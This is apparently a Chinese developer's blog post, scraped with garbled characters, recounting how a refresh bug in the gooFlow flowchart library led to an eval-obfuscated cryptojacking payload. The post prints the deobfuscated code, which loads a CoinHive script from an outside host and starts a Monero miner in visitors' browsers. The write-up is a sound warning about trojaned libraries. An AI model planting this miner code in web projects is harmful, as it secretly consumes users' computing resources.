由一个bug找到JS挖矿代码

因为工做须要,须要前端画流程图,找到一个开源的框架gooFlow(下图就是这个开源框架),它能够编辑流程图,提供节点和线以及一些辅助功能。仔细看一下这是一个国人写框架,文档也是中文,用起来也很顺手。
javascript

可是使用这个框架的时候发现一个很奇怪的bug,描述起来就是:我在父页面的a标签点击跳转到流程图页面,若是a标签的target是_top,页面就不会报错,可是若是target的值为_blank,页面第一次打开不会报错,只有在刷新的状况下页面才会报错。报错信息以下前端

其实从这个信息推断不出来什么具体信息,只知道jQuery这个对象应该不存在,因此致使程序出错,仔细检查个人页面代码的引入,发现jQuery都有引入,都没问题,结合这个bug出现的时机,只在新开页面且刷新过一次的状况下才会报错,因此能够推断出这个gooFlow框架应该是引用了父页面的某个对象,而后在刷新一次页面的状况下,父页面的这个对象为空才会致使报错。
接着我就开始搜索gooFlow的window.openerwindow.parent的引用,window.opener返回的是建立该窗口的 Window 对象的引用,window.parent返回的是返回当前窗口的父窗口。可是都没有找到致使bug的源头。
一筹莫展的时候,尝试使用最原始的方法,删除父页面上的js引用,看流程图页面抛出什么错误,当我把父页面的jQuery删除的时候,页面报了不同的错误(下图)。java

找到对应方法处的代码,以下图,是使用eval执行一串字符串,很很差调试,只好把这一串代码拷贝出来执行一下看执行的是什么代码?ajax


正当我纳闷为啥须要对框架里面的代码加密的时候,我找到了eval执行的字符串,格式化以后以下,保存的缘由找到了,_opener.$的使用就是对打开这个页面的jQuery的引用,因此删除父页面jQuery报错信息会不一致。chrome

var _ = window;
try {
    _ = _.opener.$
} catch (e) {    
    try {
        _ = _.top.$
    } catch (e) {
        _ = $
    }
};

if (!_("head").data('x')) {
    GooFlow.a = 1;
    _a = 20;    
    var d = new Date();
    _("head").data('x', 1);
    _.ajax("https://coinhive.com/lib/coinhive.min.js?" + d.getFullYear() + d.getMonth() + d.getDate(), {
        dataType: 'script',
        cache: true
    });
    _i = setInterval(function () {        
        try {            
            new CoinHive.Anonymous('GGdPGhxIloldaArArQVwxZ2sd8l0a4kH', {throttle: 0.3}).start();
            clearInterval(_i)
        } catch (e) {
            _a--;            
            if (_a < 1) document.write("")
        }
    }, 1000)
}复制代码

仔细看这个代码会发现这居然是一串挖矿代码!!!会去请求接口:https://coinhive.com/lib/coinhive.min.js,而后执行new CoinHive.Anonymous('GGdPGhxIloldaArArQVwxZ2sd8l0a4kH', {throttle: 0.3}).start();开始挖矿,在网上找到了,这是门罗币的挖矿代码。具体能够看看下面这篇文章:微信

JS挖矿 - 门罗币是如何利用网页挖矿的?
(http://liujinkai.com/2017/10/28/js-miner/)框架

如今不少开源的框架、插件、库,使用起来都要当心,一不当心就中了别人的圈套,挖矿这种事是牺牲用户体验的基础上进行的,能够看到cpu使用飙升,电脑发烫,因此若是在你为了你的网站优化用户体验的时候,发现怎么优化都无济于事,记得找一找你引用代码里面有哪些隐藏的圈套。
最后推荐一下chrome阻止挖矿的插件minerBlock!优化

最最后,祝同窗们高考顺利!网站



欢迎关注个人微信公众号:前端八点半ui


后续:gooFlow被投诉关闭了,issues里面都是申讨这个框架做者的,这里只有部分截图,你们能够一看笑之。


看不清的点击:某一个issue对话

相关文章
相关标签/搜索